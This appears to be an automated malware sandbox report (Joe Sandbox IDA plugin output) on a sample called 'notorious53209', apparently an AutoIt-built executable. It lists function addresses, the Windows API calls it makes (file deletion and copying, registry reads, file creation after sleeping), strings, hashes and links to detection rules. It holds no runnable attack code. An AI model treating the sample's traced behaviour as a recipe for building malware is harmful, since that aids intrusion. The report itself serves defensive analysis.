Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Message$DispatchPeekSleepTranslateWindow$DestroyLockTimeUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pr/$pr/$pr/$pr/
API String ID: 4003667617-2491227356
Opcode ID: 33bcd061bc500076c4f942400497130f35f31f43c8aad5283a6c97b814e0a597
Instruction ID: 6514ceedcc2bd28d4105f3c92bd1f4ed3f9da20fbd3fe598bba976aaab1d2dfb
Opcode Fuzzy Hash: 33bcd061bc500076c4f942400497130f35f31f43c8aad5283a6c97b814e0a597
Instruction Fuzzy Hash: C9B29170628752DFD728DF24C884B6AF7E5BF84304F14892DE59987291DBB1E8A4CF42

Function 002993DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002991E9: __time64.LIBCMT ref: 002991F3

Part of subcall function 00235045: _fseek.LIBCMT ref: 0023505D

__wsplitpath.LIBCMT ref: 002994BE

Part of subcall function 0025432E: __wsplitpath_helper.LIBCMT ref: 0025436E

_wcscpy.LIBCMT ref: 002994D1
_wcscat.LIBCMT ref: 002994E4
__wsplitpath.LIBCMT ref: 00299509
_wcscat.LIBCMT ref: 0029951F
_wcscat.LIBCMT ref: 00299532

Part of subcall function 0029922F: _memmove.LIBCMT ref: 00299268
Part of subcall function 0029922F: _memmove.LIBCMT ref: 00299277

_wcscmp.LIBCMT ref: 00299479

Part of subcall function 002999BE: _wcscmp.LIBCMT ref: 00299AAE
Part of subcall function 002999BE: _wcscmp.LIBCMT ref: 00299AC1

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 002996DC
_wcsncpy.LIBCMT ref: 0029974F
DeleteFileW.KERNEL32(?,?), ref: 00299785
CopyFileW.KERNEL32(?,?,00000000), ref: 0029979B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 002997AC
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 002997BE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 42fb95b1821f604f84c637fed39a87b92b4d43b850a50b0779dabc48b03966d5
Instruction ID: d822591204c7287623cdc16c69a61fe34f7afe838cb6fcedcdf82bc9c5180a10
Opcode Fuzzy Hash: 42fb95b1821f604f84c637fed39a87b92b4d43b850a50b0779dabc48b03966d5
Instruction Fuzzy Hash: 0CC15CB1D10229AADF21DF99CC85EDEB7BCEF49310F0040AAF609E7151DB709A948F65

Function 002371EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00234864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,002F62F8,?,002337C0,?), ref: 00234882

Part of subcall function 0025074F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,002372C5), ref: 00250771

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00237308
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0026ECF1
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0026ED32
RegCloseKey.ADVAPI32(?), ref: 0026ED70
_wcscat.LIBCMT ref: 0026EDC9

Strings

\Include\, xrefs: 002372C5
Include, xrefs: 0026ECE8, 0026ED29
Software\AutoIt v3\AutoIt, xrefs: 002372FE
\, xrefs: 0026EDEC

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 544a41bf3c419b5c2fa29e10df7dda851990d7b6bda4ce81f6705cc879739249
Instruction ID: 85165f573b79422d9529d1785c57752d5bd7cdd09d44c949ccf408211ef2022b
Opcode Fuzzy Hash: 544a41bf3c419b5c2fa29e10df7dda851990d7b6bda4ce81f6705cc879739249
Instruction Fuzzy Hash: C3714CB14283019EC714EF29EC859ABB7F8FF597A0F40093EF845971A0DB3099A8CB51

Function 00233A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00233A62
LoadCursorW.USER32(00000000,00007F00), ref: 00233A71
LoadIconW.USER32(00000063), ref: 00233A88
LoadIconW.USER32(000000A4), ref: 00233A9A
LoadIconW.USER32(000000A2), ref: 00233AAC
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00233AD2
RegisterClassExW.USER32(?), ref: 00233B28

Part of subcall function 00233041: GetSysColorBrush.USER32(0000000F), ref: 00233074
Part of subcall function 00233041: RegisterClassExW.USER32(00000030), ref: 0023309E
Part of subcall function 00233041: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 002330AF
Part of subcall function 00233041: LoadIconW.USER32(000000A9), ref: 002330F2

Strings

#, xrefs: 00233B0D
AutoIt v3, xrefs: 00233B17
0, xrefs: 00233B06

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Load$Icon$Register$BrushClassColor$ClipboardCursorFormatImage
String ID: #$0$AutoIt v3
API String ID: 2880975755-4155596026
Opcode ID: 1a8f90283bc363e3193f2f7f933a7d1b230a38bca8734600c0f0195324ac4ede
Instruction ID: ddb6019b5ce7a03206e16d5946b5111353b72e7aea9f5d14eb1b11d81828e902
Opcode Fuzzy Hash: 1a8f90283bc363e3193f2f7f933a7d1b230a38bca8734600c0f0195324ac4ede
Instruction Fuzzy Hash: FF212870A10308AFEB109FA4FD0DBAD7FB5EB08761F10426AE904A62A0D7B65654DF84

Function 00233778 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMDLINERAW, xrefs: 0023380D
b/, xrefs: 0026D44E
/AutoIt3ExecuteScript, xrefs: 002338CE
/AutoIt3ExecuteLine, xrefs: 002338B9
CMDLINE, xrefs: 00233834
/AutoIt3OutputDebug, xrefs: 002338A4
/ErrorStdOut, xrefs: 0023388F
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 002337C0

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$b/
API String ID: 1825951767-3779802150
Opcode ID: df722709469ff5b72c2fc3a6b62bb6a84ca1aa36d5057eb577cd5938e820f0e1
Instruction ID: 15bdf1ca505c1c38f2aa5e6169cd7996a25606c283d03d71353ff3e4f92f9d90
Opcode Fuzzy Hash: df722709469ff5b72c2fc3a6b62bb6a84ca1aa36d5057eb577cd5938e820f0e1
Instruction Fuzzy Hash: 77A13DB293022D9ACB04EFA0DC95AEEB7B8BF15740F040529F416A7191DF746A69CF60

Function 0023F8CF Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002503A2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 002503D3
Part of subcall function 002503A2: MapVirtualKeyW.USER32(00000010,00000000), ref: 002503DB
Part of subcall function 002503A2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 002503E6
Part of subcall function 002503A2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 002503F1
Part of subcall function 002503A2: MapVirtualKeyW.USER32(00000011,00000000), ref: 002503F9
Part of subcall function 002503A2: MapVirtualKeyW.USER32(00000012,00000000), ref: 00250401

Part of subcall function 00246259: RegisterClipboardFormatW.USER32(WM_GETCONTROLNAME), ref: 002462B4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0023FB2D
OleInitialize.OLE32(00000000), ref: 0023FBAA
CloseHandle.KERNEL32(00000000), ref: 002749F2

Strings

<g/, xrefs: 0023FA90
c/, xrefs: 0023F94B
%,, xrefs: 0023F8F6, 0023F908, 0023FACE, 0023FBB1
\d/, xrefs: 0023F957

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Virtual$Handle$ClipboardCloseFormatInitializeRegister
String ID: <g/$\d/$%,$c/
API String ID: 3094916012-1666641165
Opcode ID: 8259276f2aecede7412412e0a5c3ede0e38214ffd25272496d343b2d1dfee536
Instruction ID: d1762aa769a08f068f70bc93b7a5255d49eaf5d40318bc5c73f8c4523390368c
Opcode Fuzzy Hash: 8259276f2aecede7412412e0a5c3ede0e38214ffd25272496d343b2d1dfee536
Instruction Fuzzy Hash: 0C81B7B09202858ED7A4EF29FD5D635BAF5FB98BA8710817ED419C7362EB314428CF10

Function 001625E0 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 001626B1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 001628D7

Memory Dump Source

Source File: 0000000A.00000002.395533851.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_160000_notorious53209.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction ID: 28ab525f89c351d52664d6d931baf61656d2f35b059a954c34c1fb948f8a43fb
Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction Fuzzy Hash: 14A11774E00209EBDB14CFA4C994BEEBBB5FF58305F208159E511BB280D7799A91CF94

Function 002339E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00233A15
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00233A36
ShowWindow.USER32(00000000), ref: 00233A4A
ShowWindow.USER32(00000000), ref: 00233A53

Strings

edit, xrefs: 00233A30
AutoIt v3, xrefs: 00233A0D, 00233A12, 00233A13

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 902d17e84c5b5d01fa46b7d97c37a00c9b0748dfc75af18b65d2e90f8bd75ec0
Instruction ID: a5204afc04fe5f8a1a01df97678b94e6420ab768fd114ee2364e59373fe07fba
Opcode Fuzzy Hash: 902d17e84c5b5d01fa46b7d97c37a00c9b0748dfc75af18b65d2e90f8bd75ec0
Instruction Fuzzy Hash: 3CF0D471641294BEEA711B2BBC4DE776E7DE7C7FA0F10413ABD04A21B0C6A61851DAB0

Function 001623B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001622A0: Sleep.KERNELBASE(000001F4), ref: 001622B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 001624CD

Strings

S3BHZIY1UKJ6DTUVS37LPNA1, xrefs: 00162530, 00162533

Memory Dump Source

Source File: 0000000A.00000002.395533851.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_160000_notorious53209.jbxd

Similarity

API ID: CreateFileSleep
String ID: S3BHZIY1UKJ6DTUVS37LPNA1
API String ID: 2694422964-3650088209
Opcode ID: e24080019d8c28239e6f79ae11c974099497621ca9468431c599a7a99d7c1f09
Instruction ID: be2b412c5d0d5b3c7d04c28f2d8696837cdb518310c30ff50c0e3d64b0788201
Opcode Fuzzy Hash: e24080019d8c28239e6f79ae11c974099497621ca9468431c599a7a99d7c1f09
Instruction Fuzzy Hash: 9D519230D04289DBEF11DBA4CC58BEEBBB9AF15300F044199E2097B2C1D7B91B48CBA5

Function 0023410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0026D5EC

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

_memset.LIBCMT ref: 0023418D
_wcscpy.LIBCMT ref: 002341E1
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002341F1

Strings

Line: , xrefs: 0026D615

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 3b2488072151fd4eef1807653e556d749d8c08ca35419fcca83806737939b4cb
Instruction ID: 08ab8dffc3d7b60222df9d282663714da18f95f39500c73c8c0cd2a5d17d8ed0
Opcode Fuzzy Hash: 3b2488072151fd4eef1807653e556d749d8c08ca35419fcca83806737939b4cb
Instruction Fuzzy Hash: 0E31E7F15283056AD731EB60EC49FEB77ECAF44314F10452AF989920A1DB70A668CF93

Function 0025564D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 002556AB
_memcpy_s.LIBCMT ref: 0025571D
__read_nolock.LIBCMT ref: 0025577B
__filbuf.LIBCMT ref: 0025579E
_memset.LIBCMT ref: 002557E2

Part of subcall function 00258D68: __getptd_noexit.LIBCMT ref: 00258D68

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction ID: 5160e8c68027894b81d8465859e2116117947c546926f0ddc0a7a6d9e71f8a94
Opcode Fuzzy Hash: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction Fuzzy Hash: 6851B930A20B16DBDB248F79C8A466EB7B5AF44332F648729FC25961D0D7709D788F48

Function 002369CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00234F3D: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,002F62F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00234F6F

_free.LIBCMT ref: 0026E68C
_free.LIBCMT ref: 0026E6D3

Part of subcall function 00236BEC: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00236D0D

Strings

Bad directive syntax error, xrefs: 0026E6BB
>>>AUTOIT SCRIPT<<<, xrefs: 0026E462

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 28f6f707785f5534fd3b9f80eb9085931cc4ebda811b97d9f13074791c40cb25
Instruction ID: 1198aee02f270e2b7f3fe3c24eab70afc8ba6b41bc150e16c70c64ce36ee43b0
Opcode Fuzzy Hash: 28f6f707785f5534fd3b9f80eb9085931cc4ebda811b97d9f13074791c40cb25
Instruction Fuzzy Hash: AD918E75930219AFCF14EFA4C8819EDB7B8FF19314F15446AF816AB291EB30A964CF50

Function 002335B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,002335A1,SwapMouseButtons,00000004,?), ref: 002335D4
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,002335A1,SwapMouseButtons,00000004,?,?,?,?,00232754), ref: 002335F5
RegCloseKey.ADVAPI32(00000000,?,?,002335A1,SwapMouseButtons,00000004,?,?,?,?,00232754), ref: 00233617

Strings

Control Panel\Mouse, xrefs: 002335D2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 7ab86238a2919c6f75e76b6473d4122ba6a149090adb7ca97a7b4518aa59c874
Instruction ID: 16baa8d1787ee8a05048683dbd60d322a32579898d69ef97d284ad33870cab3c
Opcode Fuzzy Hash: 7ab86238a2919c6f75e76b6473d4122ba6a149090adb7ca97a7b4518aa59c874
Instruction Fuzzy Hash: B2115AB1920208BFDB20DF64EC45EAEB7BCEF04740F004569F805D7210D2719F609B64

Function 002997E5 Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00235045: _fseek.LIBCMT ref: 0023505D

Part of subcall function 002999BE: _wcscmp.LIBCMT ref: 00299AAE
Part of subcall function 002999BE: _wcscmp.LIBCMT ref: 00299AC1

_free.LIBCMT ref: 0029992C
_free.LIBCMT ref: 00299933
_free.LIBCMT ref: 0029999E

Part of subcall function 00252F95: HeapFree.KERNEL32(00000000,00000000), ref: 00252FA9
Part of subcall function 00252F95: GetLastError.KERNEL32(00000000,?,00259C64), ref: 00252FBB

_free.LIBCMT ref: 002999A6

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: d9ae0c5d453641694606f69828c3ed73b5fd5779769f00272cc49afe01aba135
Instruction ID: 1a3a61cacc83791b5df472928a6fe87209ffd1818421f636ffb0c5ffe3772f7e
Opcode Fuzzy Hash: d9ae0c5d453641694606f69828c3ed73b5fd5779769f00272cc49afe01aba135
Instruction Fuzzy Hash: B65150F1914228AFDF249F64DC41A9EBBB9EF48310F1404AEB609A7241DB715E94CF58

Function 0025493A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002549D0
